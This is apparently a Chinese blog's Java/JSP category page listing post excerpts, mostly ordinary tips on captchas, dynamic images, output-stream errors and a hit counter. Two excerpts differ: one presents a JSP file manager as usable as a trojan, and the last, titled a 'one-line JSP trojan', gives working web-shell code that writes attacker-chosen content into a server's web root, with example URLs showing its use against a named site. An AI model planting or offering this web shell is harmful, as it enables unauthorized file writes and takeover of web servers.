分类: Java&Jsp预览模式: 普通 | 列表
07-10
11

验证码的空指针异常

今天登陆时候,在LoginAction中出现了空指针异常。问题出在JSP页的这句
<html:img border="0" src="/WebModuleApp/codeservlet"/>
因为我把原来文件夹WebModuleApp的名字改成了Business2App,所以才出现了这种情况……

查看更多...

分类:Java&Jsp | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 675
07-10
09

从jsp发送动态图像

你是否曾经想过从jsp页面(或者servlet)中发送动态产生的图像?这篇技巧告诉你如何做。要运行这里的代码,你需要一个Tomcat或者其他支持JSP 1.1的web服务器。
  当一个web页面带有image/jpeg (或者其他的图像格式)的MIME类型被发送时,你的浏览器将那个返回结果当作一个图像,然后浏览器显示图像,作为页面的一部分或者完全作为图像自身。要为你的jsp页面设置MIME类型,你需要设置页面的contentType属性:
<%@ page contentType="image/jpeg" ... %>
然后你需要创建一个BufferedImage绘制你的动态图像:
BufferedImage image = new BufferedImage(width,
height, BufferedImage.TYPE_INT_RGB);
创建完一个BufferedImage后,你需要得到图形环境进行绘制,一个Graphics或者Graphics2D对象:
Graphics g = image.getGraphics();
// or

查看更多...

Tags: 动态图像

分类:Java&Jsp | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 422
07-10
09

getOutputStream() has already been called for this

老问题:在tomcat5下jsp中出现此错误一般都是在jsp中使用了输出流(如输出图片验证码,文件下载等),
没有妥善处理好的原因。
具体的原因就是
在tomcat中jsp编译成servlet之后在函数_jspService(HttpServletRequest request, HttpServletResponse response)的最后
有一段这样的代码
finally ...{
      if (_jspxFactory != null) _jspxFactory.releasePageContext(_jspx_page_context);
    }
这里是在释放在jsp中使用的对象,会调用response.getWriter(),因为这个方法是和

查看更多...

分类:Java&Jsp | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 518
07-10
09

jsp计数器制作手册

  计数器是一般网站必备的东东,别小看它了,每当站长看着小小计数器上的数字飞速增长的时候,感觉实在是好极了。以前我们用cgi、asp来写计数器,这方面的文章很多了,在这里,我们将会采用目前比较流行的jsp技术演示如何做一个计数器。
  其中我们用到了两个文件,test.jsp文件用于在浏览器中运行,counter.java是后台的一个小java bean程序,用来读计数器的值和写入计数器的值。而对于计数器的保存,我们采用了一个文本文件lyfcount.txt。
下面是详细的程序代码(test.jsp放到web目录下,counter.java放到class目录):
//test.jsp文件
<%@ page contentType="text/html;charset=gb2312"%>
<HTML>
<HEAD>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<META NAME="GENERATOR" CONTENT="Oracle JDeveloper">

查看更多...

分类:Java&Jsp | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 414
07-10
09

用JSP写的文件管理器,也可用作当木马...

<%
/**
JFolder V0.9  windows platform
@Filename: JFolder.jsp
@Description: 一个简单的系统文件目录显示程序,类似于资源管理器,提供基本的文件操作,不过功能弱多了。

@Bugs  :  下载时,中文文件名无法正常显示
*/
%>

查看更多...

分类:Java&Jsp | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 490
07-10
09

JSP一句话木马代码

<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>

使用方法:
提交url!
jsp?f=1.txt" target="_blank">http://www.whitehouse.net.cn/1.jsp?f=1.txt&t=HelloWorld
然后:http://www.whitehouse.net.cn/1.txt 就出来了 内容为 HelloWorld

查看更多...

分类:Java&Jsp | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 1167